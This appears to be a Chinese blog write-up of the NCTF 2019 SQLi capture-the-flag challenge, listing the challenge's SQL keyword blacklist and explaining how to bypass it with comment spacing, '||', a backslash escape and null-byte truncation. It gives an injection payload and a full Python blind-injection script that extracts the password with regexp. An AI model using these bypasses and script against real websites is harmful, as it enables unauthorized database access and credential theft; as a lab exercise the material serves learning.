[NCTF 2019]SQLi

[NCTF 2019]SQLi

dirsearch扫描目录

查看robots.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里禁了select,所以猜测是盲注

这里没有禁转义符,和regexp

所以可以先转义username的分号,然后在对passwd的内容进行盲注

||替代or

可以使用%09或者/**/绕过空格过滤

然后使用;%00来截断

payload:name:\,passwd:||/**/1;%00

6.222

出现welcome.php,可以用这个信息差来写盲注脚本

脚本:

import requests
from urllib import parse
import time

#最终密码是小写的,我一开始跑出来发现密码错误,后来发现是大小写的问题,所以我把string中的"ABCDEFGHIJKLMNOPQRSTUVWXYZ"去掉了

strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://node4.anna.nssctf.cn:28178/index.php'
passwd = ''
i = 1
while i < 80:
    for one_char in strings:
        data = {
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
        }
        rs = requests.post(url,data).content.decode('utf-8')
        time.sleep(0.01)
        if 'welcome' in rs:
            passwd = passwd + one_char
            print("\r", end="")
            print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
            i = i + 1
            break
        if one_char=='~' and 'welcome' not in rs:
            print('\n密码共'+str(i-1)+'位,已匹配完成')
            i = 80
            break

image-20230626163757541

随便取个非admin的用户名,然后输入密码you_will_never_know7788990,得到flag

image-20230626170309577

posted @ 2023-06-26 17:06  Magic水瓶  阅读(71)  评论(0)    收藏  举报